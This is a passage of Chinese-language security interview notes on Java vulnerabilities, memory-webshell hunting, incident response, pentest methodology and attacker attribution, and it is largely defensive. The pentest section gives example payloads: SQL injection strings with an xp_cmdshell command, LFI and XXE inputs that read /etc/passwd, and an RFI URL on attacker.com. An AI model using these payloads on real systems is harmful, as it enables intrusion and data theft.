- 模板注入 (Template Injection / SSTI): 在使用 Velocity, Freemarker, Thymeleaf, Pebble 等模板引擎时,如果将用户输入直接作为模板内容渲染,可能导致注入并执行代码。
- JNDI 注入 (JNDI Injection): Log4Shell (CVE-2021-44228) 就是典型的 JNDI 注入。应用在 JNDI 查询中使用了用户可控的输入,攻击者可以指定一个恶意的 RMI/LDAP 服务器地址,导致服务器加载并执行远程恶意类。
- XML 外部实体注入 (XXE): (严格来说更像信息泄露和 SSRF,但有时也能 RCE) 处理用户提供的 XML 时,如果解析器允许外部实体,可能导致 RCE(例如通过
expect://
协议)。 - 命令注入 (Command Injection): 应用代码直接将用户输入拼接到
Runtime.exec()
或ProcessBuilder
的命令字符串中执行。 - 文件上传漏洞: 上传可执行脚本文件(如 JSP)到 Web 目录下,然后访问该文件触发执行。
Shiro 框架相关漏洞:
- Shiro < 1.2.4 (Shiro-550): RememberMe 功能的 AES 加密密钥硬编码,导致攻击者可以构造恶意的 RememberMe Cookie 来绕过认证甚至执行代码(依赖于可用的 gadget)。
- Shiro < 1.5.2 (Shiro-721): 权限校验逻辑缺陷,特定构造的 URL 可以绕过权限检查。
Spring 框架相关漏洞:
- Spring Cloud Gateway Actuator API 未授权访问/RCE。
- Spring WebFlow 反序列化 RCE。
- Spring Messaging RCE (CVE-2018-1270)。
- Spring Core RCE (Spring4Shell / CVE-2022-22965): 特定条件下(JDK 9+, Tomcat部署 WAR 包)利用 DataBinder 进行类加载器操纵,写入 Webshell。
- Spring Security 权限绕过/配置错误。
其他常见 Web 漏洞:
- SQL 注入 (SQLi)
- 跨站脚本 (XSS)
- 目录遍历 (Path Traversal)
- SSRF (见上题)
Java 内存马 (Memory-Resident Webshell):
- 概念: 指不依赖于在服务器磁盘上写入 Webshell 文件(如
.jsp
文件),而是通过 Java 的动态特性(如 Agent, Instrumentation, Servlet API, Spring Controller 动态注册等)将恶意代码(通常是一个能接收命令执行的后门)直接注入到正在运行的 Java 进程(JVM)内存中。 - 优点(对攻击者): 更隐蔽,传统基于文件的 Webshell 检测工具难以发现,重启应用服务器可能会丢失(除非有持久化手段)。
分析工具 (Analysis Tools):
动态分析/在线诊断工具 (需Attach到目标JVM进程):
arthas
:阿里巴巴开源的 Java 诊断利器。可以通过命令行实时查看 JVM 信息、类加载情况、方法调用、内存状态等。
thread
: 查看线程状态,查找可疑线程活动。sc -d <ClassName>
: 查看类的详细信息,包括加载它的 ClassLoader。内存马可能由自定义的 ClassLoader 加载。sm <ClassName> <MethodName>
: 查看方法的字节码。mc <ClassName> <MethodName>
: 反编译方法源码。redefine
: 热更新类的字节码(可用于移除恶意代码)。关键命令(排查内存马):
- 通过 MBean 查看 Tomcat/Jetty 等容器注册的 Servlet 和 Filter (
mbean javax.servlet.ServletContext
然后查看 attributes)。内存马常通过动态注册 Filter 或 Servlet 实现。 - 在 Spring 环境中,查看动态注册的 Controller, Interceptor。
jad <ClassName>
: 反编译整个类,寻找可疑逻辑。
- 通过 MBean 查看 Tomcat/Jetty 等容器注册的 Servlet 和 Filter (
JDK 自带命令行工具:
jps
或jps -l
: 列出 Java 进程及其 PID。jstack <pid>
: 查看线程堆栈,分析线程在做什么。jmap -heap <pid>
: 查看堆内存概况。jmap -dump:format=b,file=dump.hprof <pid>
: 生成堆内存快照 (Heap Dump),用于离线分析。jinfo <pid>
: 查看 JVM 参数和系统属性。
离线分析工具 (分析 Heap Dump 文件):
Eclipse Memory Analyzer Tool (MAT):
强大的内存分析工具。可以打开
.hprof
文件,查找内存泄漏,最重要的是可以检查对象实例。
- 搜索可疑类名(如
Servlet
,Filter
,ClassLoader
,Agent
, 常见的 Webshell 关键字如Shell
,Executor
,Bypass
等)。 - 查找持有可疑字节数组 (byte[]) 或字符串 (String) 的对象,这些可能包含注入的恶意类或命令。
- 分析 ClassLoader 结构,寻找非标准的 ClassLoader。
- 搜索可疑类名(如
- JProfiler (商业软件): 功能类似 MAT,提供更友好的 UI 和更多分析功能。
专门的内存马扫描工具:
java-memshell-scanner
(by c0ny1)cop.jar
(by LandGrey)Hunter
(by veine)- 这些工具通常封装了对常见内存马模式(如动态注册 Filter/Servlet/Listener, Agent 型等)的检测逻辑,可以直接扫描 Heap Dump 文件或 Attach 到运行中的 JVM。
流量特征 (Traffic Characteristics):
- 请求 URL 可能不存在对应文件: 内存马通常是通过 Filter 匹配所有请求,或动态注册一个 Servlet/Controller 映射到特定 URL Pattern。因此,访问日志中可能看到请求某个路径(如
/favicon.ico
,/api/health
, 甚至任意不存在的路径)得到了 200 OK 响应,并且伴随了恶意操作。 请求参数/Headers/Body 中包含恶意载荷:
- 可能有特定的密码参数/请求头(如
X-Pass: password
)。 - POST 请求的 Body 中可能包含需要执行的命令、Base64 编码的代码、序列化数据等。
- GET 请求的参数中也可能带有命令或参数。
- 可能有特定的密码参数/请求头(如
- 响应内容异常: 正常请求可能返回了命令执行的结果,或者返回了与预期业务逻辑完全无关的内容。
- 流量加密: 如果通信是 HTTPS,需要有解密能力(如部署了流量解密设备或在服务器端抓包)才能看到明文载荷。
行为模式:
- 可能先有一个触发内存马注入的请求(例如利用反序列化漏洞)。
- 后续会有连接到内存马后门 URL 的请求,执行命令、上传/下载文件等。
内存马排查处置思路:
发现与确认:
- 流量监控/NTA/WAF 告警: 检测到可疑的 Web 请求(如上述流量特征)。
- EDR 告警: 检测到可疑的 Java 进程行为(如执行命令、加载可疑类、连接恶意 IP)。
- 日志审计: Web 访问日志出现请求不存在文件但成功的记录,或应用日志出现异常。
- 安全扫描工具检测: 专门的内存马扫描工具发现可疑迹象。
应急响应 - 抑制:
- 隔离主机(可选但推荐): 防止横向移动或进一步危害。
抓取证据:
- 内存快照 (Heap Dump):
jmap -dump
,这是分析内存马的关键证据。 - 进程信息:
jstack
,jinfo
等。 - 相关日志: Web 访问日志、应用日志、系统日志。
- 网络流量: 如果有条件,抓取可疑进程的网络流量。
- 内存快照 (Heap Dump):
应急响应 - 分析排查:
在线分析 (Arthas):
- 检查 Filter/Servlet/Listener/Controller/Interceptor 列表,寻找可疑注册项。
- 反编译可疑类的代码 (
jad
,mc
)。 - 查看 JVM 环境属性、线程堆栈。
离线分析 (MAT/扫描工具):
- 使用 MAT 或专用扫描工具分析 Heap Dump 文件,查找内存马特征(对象、类、字符串、ClassLoader)。
关联分析:
- 结合流量特征、日志记录、内存分析结果,确定内存马的类型(Filter 型、Servlet 型、Agent 型等)、触发方式(漏洞利用、后门等)、通信方式和后门地址/密码。
应急响应 - 清除:
- 重启 JVM 进程: 这是最快最直接的清除内存中恶意代码的方法。但是,如果内存马有持久化机制(例如修改了启动脚本、放置了 dropper 文件、利用了漏洞再次注入),重启后可能复现。
找到并修复根源:
- 如果是漏洞利用(如反序列化、Log4Shell)导致注入,必须修复漏洞(打补丁、升级组件、WAF 规则)。
- 如果是通过弱口令、管理后台等方式注入,需要修改密码、加固权限。
- 清除持久化: 如果发现有 dropper 文件或其他持久化机制,必须彻底清除。
- 热更新移除(高级): 使用
arthas
的redefine
命令尝试热更新移除恶意类或方法(有风险,可能导致应用不稳定)。 - 最稳妥方式: 修复漏洞/加固后,从已知的干净源码/部署包重新部署应用。
恢复与监控:
- 恢复服务,并加强对该应用的监控(日志、流量、JVM 状态、文件完整性)。
- 观察一段时间,确保内存马没有复现。
9. 天眼监测办公网主机外联,应急需从哪些方面入手?
场景描述: 公司的网络流量分析平台(NTA),比如启明星辰的天眼,检测到一台办公网电脑有可疑的外联行为(连接恶意 IP/域名、异常协议/端口、疑似 C2 流量等)。
应急入手点(这是一个标准的终端应急响应流程,由 NTA 告警触发):
告警确认与信息收集 (Alert Validation & Information Gathering):
详细阅读天眼告警:
- 告警类型/名称/规则: 天眼判断这是什么威胁?(例如:僵尸网络 C&C 通信、恶意软件下载、远控木马连接、数据窃密通道、扫描探测等)。
- 时间戳: 外联发生的精确时间。
- 源 IP 地址: 办公网主机的 IP。
- 目标 IP 地址/域名: 连接的外部地址。
- 目标端口/协议: 使用什么端口和协议通信?
- 流量大小/会话时长: 传输了多少数据?连接持续了多久?
- 威胁情报: 天眼关联的目标 IP/域名的信誉如何?是否为已知的恶意地址?
- 初步判断: 根据告警信息,初步评估威胁的严重性和类型。
定位资产和用户 (Asset & User Identification):
IP 地址溯源:
- 查询 DHCP 日志:根据告警中的源 IP 和时间戳,找到对应时间段使用该 IP 的主机的 MAC 地址。
- 查询网络准入控制 (NAC) / 802.1x 日志:根据 IP 或 MAC 地址找到登录用户。
- 查询资产管理系统 (CMDB):根据 IP 或 MAC 地址找到主机名、物理位置、负责人/使用人。
- 获取主机和用户信息: 确定是哪台电脑(主机名)、归属于哪个员工。
遏制风险 (Containment): (关键步骤,动作要快)
网络隔离:
立即断开该主机的网络连接!
这是最有效的遏制手段。可以通过以下方式:
- 物理拔网线。
- 在交换机上禁用端口 (shutdown)。
- 将其划分到隔离 VLAN。
- 通过 EDR/NAC 客户端执行隔离策略。
目的:
- 阻止恶意软件继续与外部 C2 服务器通信(防止接收指令、发送数据)。
- 防止恶意软件在内网横向扩散。
现场/远程排查 (Investigation - Endpoint Focus):
- 与用户沟通(如果适用且安全): 简单询问用户最近是否有异常操作(点击可疑邮件/链接、安装软件、浏览奇怪网站、电脑变慢等)。注意不要惊动潜在的内部恶意行为者。
- 系统快照/内存取证(可选,根据策略): 在进行详细排查前,可以先制作硬盘镜像或抓取内存镜像,供后续深入取证分析,避免排查过程破坏证据。
主机内部排查:
查找网络连接进程 (Process Identification for Network Activity):
- Windows:
netstat -ano | findstr "<目标IP或端口>"
找到对应的 PID。 - Linux/macOS:
ss -antup | grep "<目标IP或端口>"
或lsof -i @<目标IP>
找到 PID。
- Windows:
分析可疑进程 (Process Analysis):
- 使用任务管理器、Process Explorer (Win) 或
ps aux | grep <PID>
,pstree -p <PID>
(Linux/Mac) 查看进程名、路径、启动参数、父进程、用户。 - 判断进程是否合法,是否伪装成系统进程,是否位于异常路径。
- 使用任务管理器、Process Explorer (Win) 或
检查文件系统 (File System Analysis):
- 检查进程对应的可执行文件(计算 Hash 上传 VirusTotal/威胁情报平台分析、
strings
查看、检查数字签名)。 - 检查进程相关的其他文件(配置文件、日志、临时文件)。
- 检查用户目录(下载、文档、桌面)、临时目录 (
%TEMP%
,/tmp
) 是否有可疑文件。 - 查看最近修改或创建的文件。
- 检查进程对应的可执行文件(计算 Hash 上传 VirusTotal/威胁情报平台分析、
检查持久化机制 (Persistence Mechanisms):
- Windows: Autoruns 工具是首选,检查注册表启动项、计划任务、服务、驱动程序、DLL 劫持等。
- Linux:
crontab -l
,/etc/cron.*
,systemctl list-unit-files --state=enabled
,/etc/init.d/
,~/.bashrc
等。 - macOS:
launchctl list
, LaunchAgents, LaunchDaemons。
检查系统日志 (Log Analysis):
- Windows Event Logs (System, Security, Application), PowerShell 日志。重点关注进程创建 (4688)、登录事件、错误报告。
- Linux:
/var/log/syslog
,/var/log/auth.log
等。 - macOS: Console.app /
log show
。
安全软件扫描与日志 (Security Software Scan & Logs):
- 运行已安装的杀毒软件或 EDR 进行全盘扫描。
- 查看 EDR/杀软的隔离区和历史检测日志。
威胁研判与处置 (Threat Analysis & Eradication):
- 综合判断: 结合天眼告警、主机排查结果,判断威胁的性质(木马、病毒、勒索、挖矿、APT?)、来源(钓鱼邮件、漏洞利用、U盘、恶意网站?)、影响范围(是否已横向移动?数据是否泄露?)。
清除威胁:
- 终止恶意进程。
- 删除恶意文件和持久化项。
- 修复被篡改的配置。
- 必要时重装系统: 如果感染严重、无法彻底清除或怀疑有 Rootkit,备份数据后重装系统是最安全的选择。
- 修改密码: 强制用户修改本机密码以及在受感染期间可能登录过的其他系统/应用密码。
恢复与监控 (Recovery & Monitoring):
- 系统加固: 确保操作系统和应用软件都打上了最新的安全补丁。
- 恢复网络: 在确认主机干净后,将其重新接入网络。
- 加强监控: 对该主机进行一段时间的重点监控(EDR 策略调优、网络流量监控),确保威胁已被完全清除。
总结与改进 (Lessons Learned):
- 记录完整的应急响应过程和发现。
- 分析事件根本原因,是哪个环节出现了问题?
- 改进安全策略(如加强邮件过滤、终端防护、用户培训、补丁管理、网络分段)。
- 评估天眼等监控工具的规则有效性,是否需要调整。
10. 渗透思路,包括 cdk 工具漏洞库中漏洞的相关原理?
渗透测试思路 (Penetration Testing Methodology):
这是一个结构化的过程,模拟真实攻击者可能采取的步骤来发现和利用系统中的安全漏洞。通常遵循以下阶段:
前期交互阶段 (Pre-engagement Interactions):
- 明确目标和范围 (Scoping): 与客户沟通,确定测试的目标系统、IP 地址段、域名、应用,以及允许使用的测试手段(例如是否允许 DoS 测试、是否允许社会工程学)。这是最重要的一步,避免越权和法律风险。
- 授权 (Authorization): 获得客户的书面授权。
- 规则制定 (Rules of Engagement): 确定测试时间窗口、紧急联系人、信息报告方式等。
情报搜集阶段 (Reconnaissance / Information Gathering):
被动信息收集 (Passive Recon):
不直接与目标系统交互。
- 利用搜索引擎(Google Hacking Dorks)、社交媒体、招聘网站、新闻报道等收集目标组织信息(人员架构、技术栈、合作伙伴)。
- 查询 DNS 记录 (A, MX, NS, TXT)、WHOIS 信息、ASN 信息。
- 使用 Shodan, Censys, ZoomEye, Fofa 等网络空间搜索引擎查找暴露在公网的资产(IP、端口、服务、设备类型)。
- 搜索 GitHub, GitLab 等代码托管平台查找可能泄露的源代码、配置文件、API 密钥、访问凭证。
主动信息收集 (Active Recon):
与目标系统进行交互。
- 端口扫描 (Port Scanning): 使用 Nmap 等工具探测目标主机开放的 TCP/UDP 端口。
- 服务识别与版本探测 (Service Enumeration & Version Detection): 识别开放端口上运行的服务及其版本号(如 Web Server: Apache 2.4.x, SSH: OpenSSH 7.x, DB: MySQL 5.x)。
- 操作系统探测 (OS Fingerprinting): 尝试识别目标主机的操作系统类型和版本。
- Web 应用探测: 目录/文件扫描 (Dirb, Gobuster, ffuf), 技术栈识别 (Wappalyzer), API 端点发现。
- 漏洞扫描 (Vulnerability Scanning): 使用自动化扫描器(如 Nessus, OpenVAS, Nikto, Acunetix, Burp Suite Scanner,或者这里提到的“CDK”工具可能就属于此类)对发现的资产进行初步的漏洞扫描。
威胁建模与漏洞分析阶段 (Threat Modeling & Vulnerability Analysis):
- 基于收集到的信息(开放端口、服务版本、Web 应用结构、扫描器结果),分析潜在的攻击路径和脆弱点。
- 手动验证扫描结果: 自动化扫描器可能存在误报,需要人工确认漏洞是否真实存在、是否可被利用。
深入分析:
针对特定服务或应用进行更细致的分析,例如:
- Web 应用:检查 OWASP Top 10 漏洞(注入、失效认证、XSS、XXE、不安全的反序列化、配置错误等)。
- 特定服务版本:查询 CVE 数据库 (Mitre CVE, NVD, Exploit-DB) 寻找已公开的漏洞和利用代码 (Exploit)。
渗透攻击(利用)阶段 (Exploitation):
尝试获取访问权限:
利用已确认的漏洞进行攻击。
- 使用 Metasploit Framework 等工具包进行自动化或半自动化利用。
- 手动编写或修改 Exploit 代码。
- 尝试弱口令、默认口令、密码喷洒 (Password Spraying)。
- 利用 SQL 注入获取数据或 Shell。
- 利用 RCE 漏洞执行命令。
- 利用文件包含漏洞读取敏感文件或获取 Shell。
- 利用 XSS 窃取用户 Cookie 或执行恶意脚本。
- 目标: 获得立足点 (Foothold),即在目标系统上获得一个初始的、可能是低权限的访问。
后渗透(权限提升与内网渗透)阶段 (Post-Exploitation):
权限提升 (Privilege Escalation):
如果初始权限较低(如 www-data,普通用户),尝试提升到更高权限(root, Administrator, SYSTEM)。
- 利用内核漏洞 (Kernel Exploits)。
- 利用配置错误(如 SUID/GUID 文件、不安全的 sudo 配置、服务权限配置不当)。
- 利用弱密码或存储在系统中的凭据。
- 信息收集(内部): 收集内网信息(网络拓扑、用户信息、密码 HASH、配置文件、敏感数据)。
横向移动 (Lateral Movement):
利用已获得的权限和凭据,尝试访问和控制内网中的其他主机或服务器。
- 使用 PsExec, WMI, SSH 等。
- 利用 Pass-the-Hash / Pass-the-Ticket (Windows AD 环境)。
- 利用内网服务漏洞。
- 维持访问 (Persistence): 建立后门或机制,以便在系统重启或被发现后仍能重新获得访问权限(如添加计划任务、服务、后门账户、Webshell)。
- 清除痕迹 (Covering Tracks): (在授权测试中通常有限制或不执行)清除日志、修改文件时间戳等。
报告阶段 (Reporting):
- 整理结果: 详细记录所有发现的漏洞、利用过程、获取的权限和数据、潜在的业务风险。
编写报告:
清晰、准确地向客户展示测试结果,包括:
- 执行摘要 (Executive Summary):面向管理层,概述主要风险。
- 技术细节 (Technical Details):描述漏洞原理、复现步骤、利用代码/截图。
- 风险评估 (Risk Assessment):评估漏洞的严重程度和可能造成的影响。
- 修复建议 (Recommendations):提供具体、可操作的修复方案。
“CDK 工具漏洞库中漏洞”的相关原理:
由于不确定 "CDK" 具体指哪个工具,这里假设它是一个漏洞扫描与利用工具集(类似 Nessus + Metasploit 的概念)。其漏洞库中的漏洞原理,就是各种常见和已公开的安全漏洞的基本原理:
原理举例(同 Q8 中类似,但更侧重于“利用”角度):
SQL 注入 (SQLi):
- 原理: Web 应用未对用户输入进行充分过滤或参数化,直接拼接到 SQL 查询语句中,导致用户可以控制 SQL 语句的逻辑。
- 利用: 构造恶意的 SQL 片段,如
' OR '1'='1
(绕过认证),UNION SELECT user, password FROM users
(拖库),'; EXEC xp_cmdshell('net user')
(命令执行,某些数据库)。
远程代码执行 (RCE) - 如反序列化:
- 原理: 应用反序列化了来自用户的不可信数据流,触发了 classpath 中存在的 "gadget chain",最终执行了任意 Java 代码。
- 利用: 使用
ysoserial
等工具生成针对特定库(如 Commons Collections)的恶意序列化 Payload,通过网络发送给目标应用的脆弱接口。
文件包含 (LFI/RFI):
- 原理: 应用允许用户指定要包含的文件路径,但未做严格限制,导致可以包含服务器上的任意文件 (LFI) 或远程服务器上的文件 (RFI)。
- 利用 (LFI): 构造路径如
../../../../etc/passwd
读取敏感文件。结合文件上传或日志注入等技巧可能 RCE。 - 利用 (RFI): 构造 URL 如
http://attacker.com/evil.txt
(需服务器配置允许),让服务器包含并执行远程服务器上的恶意代码。
XXE (XML External Entity):
- 原理: XML 解析器配置为允许处理外部实体,攻击者可以通过 DTD (文档类型定义) 引入外部实体来读取本地文件或发起 SSRF。
- 利用: 构造包含恶意 DTD 的 XML 数据,如
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> ... &xxe;
来读取文件。
弱口令/默认口令:
- 原理: 服务(如 SSH, RDP, FTP, 数据库, Web 管理后台)使用了简单、易猜测或出厂默认的用户名和密码。
- 利用: 使用 Hydra, Medusa 等工具,配合字典进行暴力破解或针对性猜测。
已知组件漏洞 (N-Day Vulnerability):
- 原理: 目标系统使用的软件(操作系统、Web 服务器、中间件、应用框架、库)存在已公开的 CVE 漏洞,且尚未修复。
- 利用: 在 Exploit-DB, Metasploit 等库中找到对应的漏洞利用模块或脚本,直接运行以获取权限。
11. 对溯源的了解?内网外联处理思路,对攻击者溯源?
对溯源的了解:
溯源(Traceback / Attribution)在网络安全中通常指追踪网络攻击的来源、路径、使用的工具、技术、基础设施,并尽可能确定攻击者身份(个人、组织、国家背景)的过程。它包含不同层面:
事件溯源(内部溯源): 这是应急响应的核心部分,目标是在受害者网络内部找到攻击的起点和路径。
- 确定最初的失陷主机(Patient Zero)。
- 分析攻击者如何在内网进行横向移动。
- 找到攻击者使用的恶意软件、工具、脚本和持久化机制。
- 目的: 理解攻击过程,彻底清除威胁,修复漏洞,加固系统,防止再次发生。
攻击者基础设施溯源(外部溯源): 这是追踪攻击者在互联网上使用的资源。
- 分析 C2 服务器的 IP 地址、域名。
- 追踪攻击者使用的跳板机、代理服务器。
- 分析恶意软件样本,提取其中硬编码的 C2 地址、配置信息。
- 关联分析:这个 IP/域名还被用在哪些其他攻击活动中?属于哪个已知的恶意基础设施集群?
- 目的: 封禁恶意 IP/域名,了解攻击者的资源范围,为威胁情报提供数据。
攻击者身份溯源(归因): 这是最困难的一步,目标是确定谁是幕后黑手。
- 分析攻击者的 TTPs (Tactics, Techniques, Procedures):使用的漏洞、工具、攻击手法是否与已知的 APT 组织或黑产团伙的画像一致?(参考 MITRE ATT&CK 框架)
- 分析恶意软件代码风格、注释、元数据、编译时间戳等线索。
- 结合地缘政治背景、攻击目标行业等进行推测。
- 通过 OSINT(开源情报)查找与攻击者相关的网络身份(ID、邮箱、社交媒体账号等)。
- 目的: 了解对手,预判未来攻击,提供战略级威胁情报。(通常需要国家级资源或大型安全厂商的专业团队才能有效进行)
内网外联处理思路(即内部溯源/应急响应):
这个思路在之前的 Q1, Q3, Q9 中有涉及,这里总结一下核心流程:
- 检测/告警: 通过防火墙、NTA、EDR 等发现异常外联。
- 信息收集: 获取外联的详细信息(源IP、目标IP/域名、端口、协议、时间、数据量、告警规则)。
- 定位源主机: 根据源 IP 找到内网的具体主机(DHCP 日志、资产管理等)。
- 抑制/遏制: 立即隔离该主机,阻止其继续外联和横向移动。
- 主机排查: 登录主机,查找发起外联的进程、分析恶意文件、检查持久化机制、审查日志。
- 根除: 清除恶意软件、修复漏洞、移除持久化。
- 恢复: 重装系统或从备份恢复,修改密码,重新上线并监控。
- 总结: 分析根本原因,改进防御措施。
对攻击者溯源(外部溯源/归因)的思路:
这通常发生在内部应急响应之后,利用收集到的信息进行更深入的追踪:
收集指标 (Indicators of Compromise - IOCs):
- 恶意 IP 地址、域名、URL。
- 恶意文件的 Hash 值 (MD5, SHA1, SHA256)。
- 攻击中使用的特定工具、恶意软件家族名称。
- 钓鱼邮件的发送者、主题、附件名称。
分析恶意基础设施:
IP 地址分析:
- 使用 WHOIS 查询注册信息(通常是 ISP 或云服务商)。
- 使用 GeoIP 查看地理位置。
- 使用威胁情报平台(VirusTotal, ThreatBook, 微步在线等)查询信誉、关联的恶意活动/样本/域名。
- 使用被动 DNS (Passive DNS) 数据查询该 IP 历史上解析过哪些域名,现在正在解析哪些域名。
- 判断 IP 类型:是 VPS、独立服务器、家庭宽带、被攻陷的服务器还是 TOR 出口节点?
域名分析:
- WHOIS 查询注册人信息(通常是匿名的或代理注册)。关注注册商、注册时间、过期时间。
- 威胁情报平台查询信誉、关联 IP、子域名。
- 被动 DNS 查询历史解析记录。
- 检查域名是否使用了 CDN 服务隐藏真实 IP。
- 检查 SSL/TLS 证书信息(签发机构、序列号、使用者信息,有时可关联)。
分析恶意软件/工具:
- 静态分析:
strings
、反汇编、反编译,查找硬编码的 C2 地址、配置、特殊标记、代码结构。 - 动态分析(沙箱):观察其网络行为(连接的 C2、下载的后续载荷)、文件操作、注册表操作、持久化方式。
- 代码比对:与已知的恶意软件家族进行代码相似度比对,判断是否为已知组织的变种或新工具。
- 静态分析:
分析 TTPs:
- 将攻击中观察到的手法(如:利用了哪个 CVE 漏洞、使用了什么类型的钓鱼诱饵、如何进行内网移动、使用什么工具进行数据窃取)映射到 MITRE ATT&CK 框架。
- 与威胁情报报告中描述的已知 APT 组织或攻击团伙的 TTPs 进行比对。
OSINT 与关联扩展:
- 将在分析过程中发现的任何潜在线索(如攻击者遗留的 ID、邮箱、特殊字符串)在 Google、社交媒体、技术论坛、暗网上进行搜索。
- 利用 Maltego 等工具对收集到的信息进行可视化关联分析,寻找不同 IOC 之间的联系。
注意事项:
- 攻击者会使用各种手段隐藏身份(代理、VPN、TOR、跳板机、假信息注册)。
- 攻击者可能故意留下“假旗”(False Flag)信息误导溯源方向。
- 完整的身份归因非常困难,对于多数企业而言,重点应放在追踪和封锁恶意基础设施,理解 TTPs 以改进防御。
12. 怎么判断流量是否真实攻击?
判断一段网络流量是否为真实攻击,通常需要结合多个维度的信息,而不是单一指标。以下是一些关键的判断依据:
威胁情报匹配 (Threat Intelligence Match):
- 流量的源 IP、目标 IP 或域名是否存在于已知的恶意地址库(黑名单)中?
- 流量是否命中了 IDS/IPS/NTA/WAF 等安全设备的特定攻击特征库(签名)?
- 判断: 如果命中高置信度的威胁情报或攻击签名,则为真实攻击的可能性非常高。
上下文关联 (Contextual Analysis):
- 来源合理性: 内网的源 IP 是否应该发起这样的连接?(例如,一个从不访问外网的数据库服务器突然连接到一个境外的奇怪 IP)
- 目标合理性: 目标 IP/域名对于源主机来说是否是正常的业务目标?(例如,办公电脑访问色情网站、赌博网站、或者一个从未听说过的文件共享网站)
- 端口/协议异常: 是否使用了非标准端口进行通信(例如用 80 端口传非 HTTP 流量)?是否出现了不常见的协议或者已知被滥用于 C2 的协议(如 DNS Tunneling, ICMP Tunneling)?
- 时间规律: 流量是否发生在非工作时间?是否呈现出周期性的、有规律的心跳特征(常见于 C2 通信)?
- 数据量异常: 是否有异常的大量数据外发(可能的数据泄露)?或者持续的、极小的数据包(可能的 C2 心跳)?
载荷分析 (Payload Analysis): (需要有 DPI 能力或解密能力)
- 流量的载荷中是否包含已知的攻击代码(Exploit)、Webshell 特征、恶意脚本、病毒特征码?
- 载荷是否经过了混淆或编码(Base64, Hex 等),解码后是否为恶意指令?
- 是否包含敏感的系统命令或路径信息?
行为模式分析 (Behavioral Analysis):
流量模式是否符合典型的攻击行为?
- 扫描探测: 大量针对不同端口或主机的连接尝试。
- 漏洞利用: 在短时间内发送特定构造的数据包到某个服务端口。
- C2 通信: 周期性的、低调的连接到固定或动态变化的 C2 地址。
- 数据外泄: 持续的、大流量的出站连接。
- 横向移动: 内网主机之间出现异常的连接尝试(如 SMB, RDP, SSH 爆破)。
与端点活动关联 (Endpoint Correlation):
- 该流量是否与源主机上检测到的恶意进程、可疑脚本执行、用户异常行为(如点击钓鱼链接)相关联?(需要 EDR 或主机日志配合)
- 目的主机是否正好存在该流量试图利用的漏洞?
基线对比 (Baseline Comparison):
- 该流量与该主机/用户/网络区域平时的正常流量模式相比,是否存在显著的偏差?(需要有学习和建立基线的能力)
误报可能性排除 (False Positive Check):
- 是否是安全扫描器、渗透测试活动产生的流量?
- 是否是某些 P2P 软件、游戏、或特殊业务应用的正常通信被误判?
- 是否是安全设备规则过于宽泛或特征库过时导致的误报?
- 目标 IP 是否为大型云服务商或 CDN 的地址,可能同时托管了正常和恶意内容?
总结: 判断真实攻击往往是一个综合分析的过程,需要结合威胁情报、上下文、载荷内容(如果可见)、行为模式、端点信息,并排除误报的可能性。单一维度的异常不一定就是攻击,但多个维度同时指向异常时,真实攻击的可能性就大大增加。
13. 如果有安全设备,报有相关的 shell(假设是一个无文件的 shell),应该如何做排查?
场景描述: EDR、NTA 或其他安全设备检测到了疑似 Shell 的活动(如反向 Shell 连接、执行了高危命令),但检查文件系统并未发现对应的恶意文件(Webshell、木马程序等)。这通常指向“无文件攻击”或“内存马”。
排查思路(重点在于内存、进程、日志和网络):
详细分析告警信息:
- 是哪个安全设备报的警?(EDR 的信息通常更丰富,能直接关联进程)
- 告警的具体内容是什么?检测到了哪个命令执行?哪个网络连接?
- 关联的进程是哪个?(例如
powershell.exe
,cmd.exe
,svchost.exe
,javaw.exe
,httpd.exe
等)进程路径是什么? - 告警发生的时间点?
- 涉及的源/目标 IP 和端口?
立即遏制:
- 将受影响的主机进行网络隔离,防止进一步的命令执行和横向移动。
实时主机排查(关键步骤):
深入分析关联进程:
- 父子关系: 使用 Process Explorer (Win),
pstree
(Linux) 查看该进程的父进程是谁?是如何启动的?是否有可疑的父进程? - 命令行参数: 查看该进程启动时的完整命令行参数。无文件攻击常常在命令行中包含长串的、经过编码(Base64)或混淆的脚本。
- 网络连接: 使用
netstat -ano
(Win),ss -antup
(Linux) 确认该进程是否建立了告警中提到的网络连接(反向 Shell?)。 - 加载的模块/DLL: 检查进程加载的动态链接库,是否有非标准或可疑的模块?(Process Explorer 可以看)
内存分析(进程级):
- 使用 Process Explorer 或
procdump
(Win) dump 该进程的内存。 - 在内存 dump 中搜索可疑字符串(如 "cmd.exe", "/bin/bash", IP 地址, 常见命令, "powershell -enc" 等)。
- 寻找可能被注入的代码段。
- 使用 Process Explorer 或
- 父子关系: 使用 Process Explorer (Win),
检查脚本执行痕迹:
PowerShell (Win):
- 检查 PowerShell 事件日志(需要开启 Module Logging (ID 4103), Script Block Logging (ID 4104))。Script Block Logging 特别重要,它会记录下执行的脚本块原文,即使经过混淆也能看到解混淆后的代码。
- 检查 PowerShell 历史记录文件 (见 Q2)。
- WMI (Win): 检查 WMI 事件订阅、消费者,攻击者可能通过 WMI 执行命令或实现持久化。 (
Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding
等命令) - Office 宏 (Win): 如果怀疑入口点是 Office 文档,检查是否有可疑的 VBA 宏在运行。
检查内存中的其他异常:
- 使用
Get-InjectedThread
(PowerShell) 等工具尝试发现进程注入。 - 查找是否存在无文件句柄的进程或线程。
- 使用
利用高级工具进行内存取证(如果实时排查无法确定):
- 获取完整内存镜像: 使用 DumpIt, FTK Imager Lite, Redline 等工具获取整个系统的 RAM 镜像。
使用 Volatility / Rekall 进行分析:
这是分析内存镜像最强大的工具。
pslist
/pstree
: 查看进程列表和关系。netscan
: 查看网络连接记录。cmdscan
/consoles
: 查找历史命令执行记录。powershell
: 分析 PowerShell 活动痕迹。malfind
: 查找注入的代码,这是发现无文件恶意代码的关键插件。它会寻找那些不符合正常 PE 结构、权限异常(如 RWX)的内存区域。dlllist
/ldrmodules
: 查看加载的 DLL,寻找被隐藏或注入的 DLL。memmap
: 查看进程内存映射。
检查持久化机制:
- 无文件攻击也需要持久化。检查常见的位置:注册表 Run 键、计划任务、WMI 事件订阅、服务等。Autoruns (Win) 工具依然非常有用。
日志审计:
- Windows Event Logs: Security (4688 进程创建 + 命令行,4624/4625 登录),System,Application,PowerShell 日志,Sysmon 日志(如果部署了,提供极有价值的详细信息,如网络连接、进程注入、WMI 活动)。
- Linux Logs:
/var/log/syslog
,auth.log
,auditd
日志。
确定根源:
